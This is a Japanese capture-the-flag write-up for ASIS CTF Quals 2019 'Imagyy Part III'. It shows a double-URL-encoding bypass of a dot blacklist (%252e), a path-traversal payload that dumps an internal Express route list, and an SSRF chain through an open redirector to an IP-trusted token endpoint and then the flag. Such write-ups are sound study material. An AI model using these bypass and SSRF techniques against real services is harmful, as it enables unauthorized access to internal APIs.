ASIS CTF Quals 2019 - Imagyy Part III Writeup
この問題はImagyy Main SiteとImagyy Part IIの続きのようで、問題を解く際にImagyy Main SiteのWebサイトの機能を使う必要がある(たぶん)。Imagyy Part IIを解こうとしていたところ、たまたまImagyy Part IIIのflagを手に入れてしまった。なお、Imagyy Part IIは結局解けなかった。
Imagyy Part IIで与えられたURLにアクセスすると次のページが表示される。
このページにアクセスすると裏では/fetcher
に次のデータ(URLデコード済み)をPOSTする。
uri=/users/{userId}/image/{imageId}&method=get¶ms={"userId": "101", "imageId": "1000001"}
uri=/
とすると次の応答が返ってくる。
{"result":{"code":404,"data":{"data":"Invalid API method","endpoint":"/api/v1/"}}}
/
にアクセスしたいが.
がブラックリストされているようで.
や%2e
を含めるとSecurity failed.
と怒られてしまう。しかし、%252e
のように2回URLエンコードすることでこれを回避できる。
uri=/%252e%252e/%252e%252e/
とすることでAPIの一覧を入手することができる。
{ "image_api": { "ip": "198.211.125.37", "port": 5004, "routes": [ { "name": "query", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "expressInit", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "<anonymous>", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "jsonParser", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "<anonymous>", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "bound dispatch", "keys": [ { "name": "userId", "optional": false, "offset": 17 }, { "name": "imageId", "optional": false, "offset": 38 } ], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/users/:userId/edit/:imageId", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "post" } ], "methods": { "post": true } } }, { "name": "bound dispatch", "keys": [ { "name": "userId", "optional": false, "offset": 17 }, { "name": "imageId", "optional": false, "offset": 40 } ], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/users/:userId/delete/:imageId", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "post" } ], "methods": { "post": true } } }, { "name": "bound dispatch", "params": {}, "path": "/", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } }, { "name": "bound dispatch", "keys": [ { "name": "uri", "optional": false, "offset": 4 } ], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/m/:uri", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } }, { "name": "bound dispatch", "params": {}, "path": "/api/v1/", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } }, { "name": "bound dispatch", "keys": [ { "name": "userId", "optional": false, "offset": 17 }, { "name": "imageId", "optional": false, "offset": 39 } ], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/users/:userId/image/:imageId", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } } ] }, "auth_api": { "ip": "198.211.125.37", "port": 5003, "routes": [ { "name": "query", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "expressInit", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "<anonymous>", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "jsonParser", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "<anonymous>", "params": {}, "path": "", "keys": [], "regexp": { "fast_star": false, "fast_slash": true } }, { "name": "bound dispatch", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/flag", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } }, { "name": "bound dispatch", "params": {}, "path": "/api/v1/issueToken/ip", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/issueToken/ip", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } }, { "name": "bound dispatch", "params": {}, "path": "/api/v1/issueToken/credentials", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/issueToken/credentials", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "post" } ], "methods": { "post": true } } }, { "name": "bound dispatch", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/user/logout", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } }, { "name": "bound dispatch", "params": {}, "path": "/api/v1/user/me", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "route": { "path": "/api/v1/user/me", "stack": [ { "name": "<anonymous>", "keys": [], "regexp": { "fast_star": false, "fast_slash": false }, "method": "get" } ], "methods": { "get": true } } } ] } }
このjsonからhttp://134.209.24.24:3000/fetcherへのpostはimage_api(198.211.125.37:5004)に送られていたということがわかる。また、auth_api(198.211.125.37:5003)という別のサーバーの存在もわかる。
興味深いエンドポイントは次の通り。なお、本記事をここまで書いたタイミングでサーバーに繋がらなくなってしまったので以降は記憶を頼りに書いていく。
- http://198.211.125.37:5004/m/:uri
- http://37.139.17.29:8080/:uriにリダイレクトさせる
- http://198.211.125.37:5003/api/v1/issueToken/ip
- 特定のIPアドレスからのアクセス時にtokenを発行する
- 具体的にはhttp://134.209.24.24:3000/fetcher経由でアクセスすればtokenが発行される
- http://198.211.125.37:5003/flag
- tokenを付与してアクセスすればflagが入手できる
上記から分かるように、まずtokenを入手する必要があるがhttp://134.209.24.24:3000/fetcherへのPOSTは198.211.125.37:5004に送られてしまう。ここでImagyy Main Siteという別の問題で37.139.17.29:8080にはオープンリダイレクタが存在していることを知っている必要がある。これを使うことで、http://198.211.125.37:5004/m/:uri -> http://37.139.17.29:8080/のオープンリダイレクタ -> http://198.211.125.37:5003/api/v1/issueToken/ipというリダイレクトのチェーンが可能となる。
あとは、http://134.209.24.24:3000/fetcherに対して前述のリダイレクトチェーンを行うようなリクエストをPOSTすることでtokenを入手し、入手したtokenを付与してhttp://198.211.125.37:5003/flagにアクセスすることでflagを入手できる。
ちなみにこの問題の1番最初の回答者でした。